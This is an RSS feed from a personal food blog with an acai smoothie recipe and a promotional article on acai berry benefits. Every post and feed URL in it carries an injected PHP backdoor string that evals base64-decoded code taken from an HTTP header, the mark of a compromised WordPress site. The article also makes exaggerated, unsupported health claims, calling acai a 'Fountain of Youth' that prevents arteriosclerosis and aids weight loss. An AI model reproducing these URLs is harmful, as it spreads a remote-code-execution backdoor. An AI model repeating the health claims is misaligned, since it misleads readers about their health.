The Lemon Plum » acai berry http://thelemonplum.com Fri, 16 Jul 2010 18:02:53 +0000 en hourly 1 http://wordpress.org/?v=3.0 Acai Berry Smoothies! http://thelemonplum.com/2009/05/09/acai-berry-smoothies/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://thelemonplum.com/2009/05/09/acai-berry-smoothies/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 09 May 2009 22:33:40 +0000 thelemonplum http://thelemonplum.com/?p=89 Okay apparently no one knows how to make these as yummy as I do lol. Hey, I’m just being honest! I know I haven’t updated for awhile because I have been super busy with my company (I’m the CEO and Founder) and my other blog Consumer-Outlet.com but I am really trying my best you guys! Also, my hosting company *ahem* sort of screwed my background up. If you are a visitor from before you would know my b-ground USED to be eggplant purple. But now its some god awful grey color and that just upset me :o (

Anyway, after having a ton of comments today in my email and twitter I decided to set up an easy recipe for Acai Berry Smoothies. Now you can either use milk or orange juice or whatever other “liquid” you want. Personally I like the fruit taste of the OJ mixed with all the other stuff but once in a blue moon if I want an “ice cream” consistency Ill use the milk. One thing I also would suggest is that if you DO use milk – you can use ANY kind of milk. For example, my mom uses Soy Milk. Remember – cooking is not about rules. Its about having fun, tastefully delicious food and cooking it the way YOU like it. So if you don’t like something listed below – don’t put it in!

Acai Berry Smoothie:
7 Strawberries cut up
1 Whole frozen banana
3 spoon fulls of frozen Blueberries
1/4c Orange Juice
Acai Powder (I get the capsules because its cheaper!)
1 Scoop “Secure” Vanilla powder (protein)
1 capsule of Energy and Fat Metabolism Factors (by ProCaps)
1 capsule Vitamin B12
1 Heaping tablespoon Greek Yogurt
5 Ice Cubes

Obviously for the capsules – I take the power OUT of the capsule and for the ice cubes – you can add or subtract cubes in order to make it more luquidy or more thick. I usually put ALL the fruit in first and then add the liquid and blend it. Then Ill add the yogurt and the powders and blend it again. And lastly I put in the cubes. I like mine medium – sort of liquid-y and sort of thick (but not so thick you need a straw!)

And that’s about it. You can get the Acai powder but I prefer the Capsules because its already measured out and its MUCH cheaper. I buy mine from the website below. Its only $4.95 for an entire bottle. So that’s pretty cool in itself!

Buy Acai!

That site is super easy to sign up with as well. So give it a go and see whats what. I like the Acai because it gives me energy and its super good for you. In fact, this is considered as being one of THE SuperFoods because of the effect it can have on your body. Its good for weight loss, immune systems, colds, metabolic processing, etc!

]]> http://thelemonplum.com/2009/05/09/acai-berry-smoothies/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 2 What Are The Types Of Acai Berry And What Are The Benefits? http://thelemonplum.com/2008/12/27/what-are-the-types-of-acai-berry-and-what-are-the-benefits/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://thelemonplum.com/2008/12/27/what-are-the-types-of-acai-berry-and-what-are-the-benefits/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 27 Dec 2008 16:42:21 +0000 thelemonplum http://thelemonplum.com/?p=86 What Are The Types Of Acai Berry And What Are The Benefits?

by KristiAmbrose

Acai berry juice is a dietary supplement that contains pure Acai berry juice derived exclusively from palm trees located in Brazil’s Western Amazon rain forest. These berries are processed through a unique maceration process that has been used for thousands of years by the indigenous people of the Brazilian rain forest. This process uses the entire berry which includes; the Epicarp, Mesocarp and the hard Endocarp. These berries contain some of these beneficial nutrients; essential fatty acids, proteins, amino acids, vitamins, minerals, trace minerals, and also supports; healthy energy levels, healthy immune system, healthy cholesterol levels, healthy cardiovascular system, free radical scavenging, gastrointestinal health and much more!

There are also other forms of the Acai berry which include:
Acai Berry Extract –
The Acai (pronounced ah-sigh-ee) is loaded with vitamins and minerals, such as many of the B vitamins, Vitamin C, Vitamin E, iron, potassium, phosphorus and calcium. Acai berries also contain omega-6 and omega-9 EFAs. Acai berries are also an excellent source of a component called anthocyanins. These are flavonoids found in darker fruits that possess antioxidant properties. Antioxidants help defend the body from damage caused by unstable free radical molecules.

Organic Acai Berry Juice -
106,000 ORAC (Oxygen Radical Absorption Capacity) units per bottle, or 3500 per serving. ORAC is the measurement for antioxidant capacity of different foods and the USDA recommends that the average person consume at least 3000 ORAC per day. Studies have shown that this little berry is one of the most nutritious and powerful foods in the world! Acai (ah-sigh-ee) is the high-energy berry of a special Amazon palm tree. Acai contains a remarkable concentration of antioxidants that help combat premature aging. A synergy of monounsaturated (healthy) fats and dietary fiber which helps promote cardiovascular and digestive health.

Capsules –
Acai is the only super berry on the market that has everything that you need, naturally from only the berry itself. It packs Vitamin B1, B2, B3, Vitamin E, Vitamin C, Phosphorus, Calcium, Potassium, Fiber, Proteins, good fatty acids such as Omega 6, Omega 9 to helps you fight your cholesterol problems and many, many more; there is just too many to list. Also as an added benefit is give you the highest level of anti-oxidant on the market, with studies showing up to 33 times the anti-oxidant as red wine grapes. With Acai it gives you the energy from your youth and opens up the vitality and increased stamina you had in your 20′s. So try the new “Fountain of Youth” from this forbidden Amazon Berry and you too will feel the power of the Amazon.

Any and all of these forms can be healthful to your body and besides the many benefits listed in this article, some other benefits you may be interested in include things such as Enhances visual acuity, minimizes inflammation, improves circulation, prevents arthrosclerosis and even helps you lose weight. This type of product is 100% all natural and shouldn’t contain any foreboding chemicals that could otherwise be harmful to your health and to your body. People that are really big on healthy eating and healthy living absolutely swear by this stuff and say it is the best thing they have ever had in their entire lives. Well, with the so called “Fountain Of Youth” being tagged tailed on this product, I sure as heck would hope that it would have an immense impact on people!

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